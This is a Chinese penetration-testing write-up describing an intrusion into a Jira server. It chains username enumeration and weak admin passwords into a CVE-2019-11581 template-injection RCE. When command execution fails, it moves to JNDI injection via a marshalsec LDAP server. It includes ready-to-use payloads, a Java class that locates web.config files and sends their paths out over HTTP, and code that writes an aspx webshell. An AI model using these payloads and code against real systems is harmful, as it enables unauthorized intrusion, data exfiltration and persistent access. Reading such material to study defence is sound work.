某次项目中找到了一个jira做突破口
jira主要有三种漏洞
CVE-2017-9506/CVE-2019-8451的SSRF
CVE-2019-3403/CVE-2019-8449/CVE-2020-14181的用户名爆破
CVE-2019-11581的模板注入RCE
先从用户名爆破得到一个普通用户名zhangxxx,然后弱口令进去之后,查看其他用户名,定位到了管理员账户lixx,再用管理员的弱口令进去。
这样就能发起一次CVE-2019-11581的RCE
先配置smtp服务器
/secure/admin/OutgoingMailServers.jspa
再打开联系管理员设置
/secure/admin/EditApplicationProperties!default.jspa
最后向管理员发送邮件
/secure/ContactAdministrators!default.jspa
在主题中使用如下payload,注意代码将会多次执行
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('ping 2.2mud72.dnslog.cn').waitFor()
本来事情到这里就结束了,但是这次遇上了比较少见的情况,命令执行失败了。
经过反复确认,有两个可能。
一是,java中涉及命令执行的代码被禁用了,不知道用什么方式禁用的,导致Runtime以及ProcessBuilder均无法使用。
二是,jira的容器权限被Applocker限制。
之前扫描过端口发现同服务器上还有IIS服务器,所以第一时间想的是写aspx的webshell,通过webshell来操作。
将payload换成JNDI注入
$i18n.getClass().forName('javax.naming.InitialContext').newInstance().lookup("ldap://2.2.2.2/exp").waitFor()
对方JDK访问http服务器,带Java/1.8.0_11的UA,符合JNDI注入要求。
首先要寻找出IIS服务器的根目录,在网上找了一份java搜索文件的代码,效果如下。
import java.io.File;
import java.io.FileFilter;
import java.util.ArrayList;
import java.util.List;
public class SearchFileTest {
public static List<File> searchFiles(File folder, final String keyword) {
List<File> result = new ArrayList<File>();
if (folder.isFile())
result.add(folder);
File[] subFolders = folder.listFiles(new FileFilter() {
public boolean accept(File file) {
if (file.isDirectory()) {
return true;
}
if (file.getName().toLowerCase().contains(keyword)) {
return true;
}
return false;
}
});
if (subFolders != null) {
for (File file : subFolders) {
if (file.isFile()) {
result.add(file);
} else {
result.addAll(searchFiles(file, keyword));
}
}
}
return result;
}
public static void main(String[] args) throws Exception {
List<File> files = searchFiles(new File("D:\"), "web.config");
for (File file : files) {
System.out.println(file.getAbsolutePath());
}
}
}
获取路径后可以直接写webshell,但有可能盘符不对或者有多个web.config,所以我决定将路径base64编码并用http带出。
注意:如果不通外网可能需要dnslog带出,但base64含特殊符号很可能无法拼接到dnslog,需要自写hex编码。
修改一下代码
public static void main(String[] args) throws Exception {
List<File> files = searchFiles(new File("D:\"), "web.config");
for (File file : files) {
System.out.println(file.getAbsolutePath());
String encodedBytes = Base64.getEncoder().encodeToString(file.getAbsolutePath().getBytes());
javax.swing.JEditorPane.class.newInstance().setPage("http://127.0.0.1/?="+encodedBytes);
}
}
static {
try {
main(null);
} catch (Exception e) {
}
}
javac SearchFileTest.java -Xlint:unchecked
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#SearchFileTest" 1389
效果如下
http收到的base64解开即获得IIS服务器根目录
最后常规手法写入webshell即可
public static void main(String[] args) throws Exception {
OutputStream os = new java.io.FileOutputStream("D:\web\1.aspx");
os.write("qwe".getBytes());
}
static {
try {
main(null);
} catch (Exception e) {
}
}
本文始发于微信公众号(珂技知识分享):一次被禁掉Runtime的渗透经历
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论